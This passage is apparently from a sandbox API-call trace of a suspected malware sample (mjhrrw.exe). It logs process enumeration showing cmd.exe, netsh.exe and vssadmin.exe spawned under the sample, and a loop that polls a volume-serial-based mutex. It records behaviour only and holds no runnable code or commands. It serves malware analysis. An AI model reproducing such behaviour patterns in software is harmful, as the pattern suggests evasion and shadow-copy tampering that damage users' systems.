th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.073] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.074] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.074] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.075] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.075] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0295.076] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.077] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0295.077] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0295.078] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0295.078] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0295.079] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0295.080] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.080] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0295.081] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0295.081] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0295.082] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0295.083] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0295.083] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0295.084] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0295.084] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0295.085] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0295.085] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.086] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0295.086] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0295.087] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0295.087] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0295.088] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0295.088] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0295.089] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0295.089] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.090] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0295.090] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0295.091] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0295.092] CloseHandle (hObject=0x2e0) returned 1 [0295.092] Sleep (dwMilliseconds=0x1f4) Thread: id = 96 os_tid = 0xc58 [0274.615] GetVersion () returned 0x23f00206 [0274.615] GetCurrentProcess () returned 0xffffffff [0274.615] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x29afe28 | out: TokenHandle=0x29afe28*=0x258) returned 1 [0274.615] GetTokenInformation (in: TokenHandle=0x258, TokenInformationClass=0x14, TokenInformation=0x29afe20, TokenInformationLength=0x4, ReturnLength=0x29afe24 | out: TokenInformation=0x29afe20, ReturnLength=0x29afe24) returned 1 [0274.615] CloseHandle (hObject=0x258) returned 1 [0274.615] GetProcessHeap () returned 0xaf0000 [0274.615] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c120 [0274.615] GetProcessHeap () returned 0xaf0000 [0274.615] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c058 [0274.616] GetProcessHeap () returned 0xaf0000 [0274.616] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c080 [0274.616] GetProcessHeap () returned 0xaf0000 [0274.616] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafb448 [0274.616] GetProcessHeap () returned 0xaf0000 [0274.616] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb448 | out: hHeap=0xaf0000) returned 1 [0274.616] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c058, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0274.616] GetProcessHeap () returned 0xaf0000 [0274.616] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c080 | out: hHeap=0xaf0000) returned 1 [0274.616] GetProcessHeap () returned 0xaf0000 [0274.616] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c120 | out: hHeap=0xaf0000) returned 1 [0274.616] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0274.616] GetProcessHeap () returned 0xaf0000 [0274.616] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c058 | out: hHeap=0xaf0000) returned 1 [0274.616] GetProcessHeap () returned 0xaf0000 [0274.616] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe368 [0274.616] GetProcessHeap () returned 0xaf0000 [0274.616] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafddc8 [0274.617] GetProcessHeap () returned 0xaf0000 [0274.617] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafddc8, Size=0x72) returned 0xaf4790 [0274.617] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x258 [0274.617] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0x0) returned 0x102 [0274.617] CloseHandle (hObject=0x258) returned 1 [0274.617] GetProcessHeap () returned 0xaf0000 [0274.617] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe368 | out: hHeap=0xaf0000) returned 1 [0274.617] GetProcessHeap () returned 0xaf0000 [0274.617] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4790 | out: hHeap=0xaf0000) returned 1 [0274.617] Sleep (dwMilliseconds=0x3e8) [0275.861] GetProcessHeap () returned 0xaf0000 [0275.861] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0bf68 [0275.861] GetProcessHeap () returned 0xaf0000 [0275.861] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c058 [0275.861] GetProcessHeap () returned 0xaf0000 [0275.861] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c2b0 [0275.861] GetProcessHeap () returned 0xaf0000 [0275.861] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xbb6068 [0275.969] GetProcessHeap () returned 0xaf0000 [0275.969] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb6068 | out: hHeap=0xaf0000) returned 1 [0275.969] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c058, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0275.970] GetProcessHeap () returned 0xaf0000 [0275.970] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c2b0 | out: hHeap=0xaf0000) returned 1 [0275.970] GetProcessHeap () returned 0xaf0000 [0275.970] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bf68 | out: hHeap=0xaf0000) returned 1 [0275.970] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0275.970] GetProcessHeap () returned 0xaf0000 [0275.970] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c058 | out: hHeap=0xaf0000) returned 1 [0275.970] GetProcessHeap () returned 0xaf0000 [0275.970] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafdc60 [0275.970] GetProcessHeap () returned 0xaf0000 [0275.970] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafdcf0 [0275.970] GetProcessHeap () returned 0xaf0000 [0275.970] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafdcf0, Size=0x72) returned 0xbb7790 [0275.970] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x2d8 [0275.970] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102 [0275.970] CloseHandle (hObject=0x2d8) returned 1 [0275.970] GetProcessHeap () returned 0xaf0000 [0275.970] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafdc60 | out: hHeap=0xaf0000) returned 1 [0275.970] GetProcessHeap () returned 0xaf0000 [0275.970] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7790 | out: hHeap=0xaf0000) returned 1 [0275.971] Sleep (dwMilliseconds=0x3e8) [0277.218] GetProcessHeap () returned 0xaf0000 [0277.218] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c030 [0277.218] GetProcessHeap () returned 0xaf0000 [0277.218] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c2b0 [0277.218] GetProcessHeap () returned 0xaf0000 [0277.226] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c2d8 [0277.226] GetProcessHeap () returned 0xaf0000 [0277.226] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653da0 [0277.226] GetProcessHeap () returned 0xaf0000 [0277.226] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653da0 | out: hHeap=0xaf0000) returned 1 [0277.236] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c2b0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0277.236] GetProcessHeap () returned 0xaf0000 [0277.236] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c2d8 | out: hHeap=0xaf0000) returned 1 [0277.236] GetProcessHeap () returned 0xaf0000 [0277.236] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c030 | out: hHeap=0xaf0000) returned 1 [0277.236] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0277.253] GetProcessHeap () returned 0xaf0000 [0277.253] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c2b0 | out: hHeap=0xaf0000) returned 1 [0277.253] GetProcessHeap () returned 0xaf0000 [0277.253] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe200 [0277.253] GetProcessHeap () returned 0xaf0000 [0277.253] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafdd80 [0277.253] GetProcessHeap () returned 0xaf0000 [0277.253] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafdd80, Size=0x72) returned 0xbb8010 [0277.253] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x300 [0277.253] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0x0) returned 0x102 [0277.253] CloseHandle (hObject=0x300) returned 1 [0277.253] GetProcessHeap () returned 0xaf0000 [0277.253] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe200 | out: hHeap=0xaf0000) returned 1 [0277.253] GetProcessHeap () returned 0xaf0000 [0277.253] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb8010 | out: hHeap=0xaf0000) returned 1 [0277.253] Sleep (dwMilliseconds=0x3e8) [0278.550] GetProcessHeap () returned 0xaf0000 [0278.550] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c288 [0278.550] GetProcessHeap () returned 0xaf0000 [0278.550] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c2b0 [0278.550] GetProcessHeap () returned 0xaf0000 [0278.550] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c0a8 [0278.550] GetProcessHeap () returned 0xaf0000 [0278.550] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653718 [0278.550] GetProcessHeap () returned 0xaf0000 [0278.550] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653718 | out: hHeap=0xaf0000) returned 1 [0278.551] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c2b0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0278.551] GetProcessHeap () returned 0xaf0000 [0278.551] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c0a8 | out: hHeap=0xaf0000) returned 1 [0278.551] GetProcessHeap () returned 0xaf0000 [0278.551] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c288 | out: hHeap=0xaf0000) returned 1 [0278.551] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0278.551] GetProcessHeap () returned 0xaf0000 [0278.551] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c2b0 | out: hHeap=0xaf0000) returned 1 [0278.551] GetProcessHeap () returned 0xaf0000 [0278.551] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe200 [0278.551] GetProcessHeap () returned 0xaf0000 [0278.551] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafe248 [0278.551] GetProcessHeap () returned 0xaf0000 [0278.551] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafe248, Size=0x72) returned 0xbb7510 [0278.551] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x2f0 [0278.552] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x0) returned 0x102 [0278.552] CloseHandle (hObject=0x2f0) returned 1 [0278.552] GetProcessHeap () returned 0xaf0000 [0278.552] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe200 | out: hHeap=0xaf0000) returned 1 [0278.552] GetProcessHeap () returned 0xaf0000 [0278.552] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7510 | out: hHeap=0xaf0000) returned 1 [0278.552] Sleep (dwMilliseconds=0x3e8) [0279.863] GetProcessHeap () returned 0xaf0000 [0279.863] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c170 [0279.863] GetProcessHeap () returned 0xaf0000 [0279.863] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c058 [0279.863] GetProcessHeap () returned 0xaf0000 [0279.863] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c288 [0279.863] GetProcessHeap () returned 0xaf0000 [0279.863] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653a10 [0279.863] GetProcessHeap () returned 0xaf0000 [0279.863] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653a10 | out: hHeap=0xaf0000) returned 1 [0279.863] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c058, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0279.864] GetProcessHeap () returned 0xaf0000 [0279.864] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c288 | out: hHeap=0xaf0000) returned 1 [0279.864] GetProcessHeap () returned 0xaf0000 [0279.864] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c170 | out: hHeap=0xaf0000) returned 1 [0279.864] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0279.864] GetProcessHeap () returned 0xaf0000 [0279.864] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c058 | out: hHeap=0xaf0000) returned 1 [0279.864] GetProcessHeap () returned 0xaf0000 [0279.864] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafdc60 [0279.864] GetProcessHeap () returned 0xaf0000 [0279.864] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafe200 [0279.864] GetProcessHeap () returned 0xaf0000 [0279.865] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafe200, Size=0x72) returned 0xbb7290 [0279.865] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x30c [0279.865] WaitForSingleObject (hHandle=0x30c, dwMilliseconds=0x0) returned 0x102 [0279.865] CloseHandle (hObject=0x30c) returned 1 [0279.865] GetProcessHeap () returned 0xaf0000 [0279.865] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafdc60 | out: hHeap=0xaf0000) returned 1 [0279.865] GetProcessHeap () returned 0xaf0000 [0279.865] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7290 | out: hHeap=0xaf0000) returned 1 [0279.865] Sleep (dwMilliseconds=0x3e8) [0281.189] GetProcessHeap () returned 0xaf0000 [0281.189] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c0f8 [0281.189] GetProcessHeap () returned 0xaf0000 [0281.189] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c170 [0281.189] GetProcessHeap () returned 0xaf0000 [0281.189] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c030 [0281.189] GetProcessHeap () returned 0xaf0000 [0281.189] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653f68 [0281.189] GetProcessHeap () returned 0xaf0000 [0281.189] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653f68 | out: hHeap=0xaf0000) returned 1 [0281.189] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c170, nSize=0xf | out: lpDst="C:\\") returned 